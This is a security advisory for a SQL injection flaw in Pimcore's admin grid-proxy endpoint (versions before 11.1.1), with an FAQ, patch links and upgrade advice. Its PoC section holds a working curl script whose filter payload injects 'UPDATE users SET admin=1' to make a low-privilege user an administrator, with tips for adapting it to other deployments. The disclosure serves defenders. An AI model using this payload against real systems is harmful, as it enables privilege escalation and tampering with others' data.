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GHSA-72hh-xf79-429p: SQL Injection

First published: Wed Nov 15 2023(Updated: )

### Summary User input passed directly into an SQL statement allows (non-admin) backend users to execute arbitrary SQL statements. ### Details The `/admin/object/grid-proxy` endpoint calls `getFilterCondition()` on fields of classes to be filtered for at https://github.com/pimcore/admin-ui-classic-bundle/blob/bba7c7419cb1f06d5fd98781eab4d6995e4e5dca/src/Helper/GridHelperService.php#L311, passing input from the request, and later executes the returned SQL. One implementation of `getFilterCondition()` is in `Multiselect`, which does not normalize/escape/validate the passed value: https://github.com/pimcore/pimcore/blob/42b6cfa77c4540205bdd10689893ccb73e4bac8f/models/DataObject/ClassDefinition/Data/Multiselect.php#L285-L312 ### PoC * Set up an example project as described on https://pimcore.com/docs/platform/Pimcore/Getting_Started/Installation/Docker_Based_Installation (demo package with example content) * Enter the backend and add a new user without admin privileges, but the "Objects" permission enabled. * Log out and back in with the new user. Grab the `X-pimcore-csrf-token` header from any request the backend does, as well as the `PHPSESSID` cookie. * Run the following script, substituting the values accordingly: ```bash #!/bin/bash BASE_URL=http://localhost:8084 # REPLACE THIS! CSRF_TOKEN="bd89fd7ceb3b541dd63c200fd4fc8c8ea3cc1a05" # REPLACE THIS! COOKIE="PHPSESSID=a0f408f9af7657430a4e6a1608c80277" # REPLACE THIS! SQL="UPDATE users SET admin=1" FILTER_JSON="[{\"property\":\"tags\",\"operator\":\"=\",\"type\":\"list\",\"value\":[\"')); ${SQL}; --\"]}]" curl "${BASE_URL}/admin/object/grid-proxy?classId=EV&folderId=1119" \ -X POST \ -H "X-pimcore-csrf-token: ${CSRF_TOKEN}" \ -H "Cookie: ${COOKIE}" \ --data "filter=$FILTER_JSON" ``` * Refresh the backend, the user is admin now. **Notes** The above process also works with the initial admin user, but for demonstration purposes it is more interesting to use an unpriveleged one. Other important variables to adjust in the above script for other deployments are the `classId=EV&folderId=1119` parameters, which must reference an existing class and folder, as well as `"property":"tags"`, which points to a Multiselect field in this class. ### Impact Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level. ### Patches Apply [patch](https://github.com/pimcore/pimcore/commit/d164d99c90f098d0ccd6b72929c48b727e2953a0.patch) manually. ### Workarounds Update to version 11.1.1 or apply this [patch](https://github.com/pimcore/pimcore/commit/d164d99c90f098d0ccd6b72929c48b727e2953a0.patch) manually.

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Frequently Asked Questions

  • What is the vulnerability ID GHSA-72hh-xf79-429p?

    The vulnerability ID GHSA-72hh-xf79-429p refers to a security vulnerability in the Pimcore CMS.

  • How severe is the GHSA-72hh-xf79-429p vulnerability?

    The GHSA-72hh-xf79-429p vulnerability has a severity score of 8.8 (High).

  • How does the GHSA-72hh-xf79-429p vulnerability affect Pimcore?

    The GHSA-72hh-xf79-429p vulnerability affects Pimcore versions up to exclusive 11.1.1.

  • What is the impact of the GHSA-72hh-xf79-429p vulnerability?

    The GHSA-72hh-xf79-429p vulnerability allows non-admin backend users to execute arbitrary SQL statements.

  • How can I fix the GHSA-72hh-xf79-429p vulnerability?

    To fix the GHSA-72hh-xf79-429p vulnerability, update Pimcore to version 11.1.1 or newer.


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